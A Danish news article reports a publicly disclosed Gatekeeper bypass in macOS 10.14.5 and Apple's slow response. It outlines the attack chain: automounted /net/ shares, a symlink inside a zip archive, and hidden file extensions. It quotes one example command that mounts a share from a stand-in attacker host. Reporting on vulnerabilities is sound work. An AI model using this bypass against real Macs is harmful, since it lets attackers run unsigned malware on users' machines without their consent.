Det er nemt at installere en ondsindet app på en Mac. Apple har ikke rettet fejlen selv efter tre måneder

Sikkerhedsforsker Filippo Cavallarin postede en advarsel om fejlen i macOS 10.14.5 på sin blog. Dette består i muligheden for helt at omgå Gatekeepers sikkerhedsforanstaltninger. Ifølge Cavallarin påpegede han fejlen over for Apple allerede i februar i år, men virksomheden rettede den ikke i den seneste opdatering.

Gatekeeper blev udviklet af Apple og indarbejdet i deres desktop-operativsystem for første gang i 2012. Det er en mekanisme, der forhindrer en applikation i at køre uden brugerens viden og samtykke. Når du har downloadet en app, tjekker Gatekeeper automatisk dens kode for at se, om softwaren er korrekt signeret af Apple.

I sit blogindlæg udtaler Cavallarin, at Gatekeeper som standard betragter både eksternt lager og netværksdele for at være sikre lokationer. Enhver applikation, der ligger i disse mål, kan derfor automatisk startes uden at skulle gennemgå gatekeeper-kontrollen. Det er denne funktion, der kan udnyttes til at starte ondsindet software uden brugerens viden.

Et aspekt, der tillader uautoriseret adgang, er automount-funktionen, som giver brugerne mulighed for automatisk at montere en netværksshare blot ved at angive en sti, der begynder med "/net/". Som et eksempel nævner Cavallarin stien "ls /net/evil-attacker.com/sharedfolder/", som kan få operativsystemet til at indlæse indholdet af en "sharefolder"-mappe på en fjernplacering, der kan være potentielt skadelig.

Du kan se, hvordan truslen virker i videoen:

En anden faktor er det faktum, at hvis et zip-arkiv, der indeholder et specifikt symlink, der fører til automount-funktionen, deles, vil det ikke blive kontrolleret af Gatekeeper. På denne måde kan offeret nemt downloade det ondsindede arkiv og udpakke det, så angriberen kan køre stort set enhver software på Mac'en uden brugerens vidende. Finder, som skjuler visse udvidelser som standard, har også sin del af denne sårbarhed.

Cavallarin udtaler på sin blog, at Apple gjorde opmærksom på sårbarheden af ​​macOS-operativsystemet den 22. februar i år. Men i midten af ​​maj stoppede Apple med at kommunikere med Cavallarin, så Cavallarin besluttede at offentliggøre det hele.

kilde: FCVL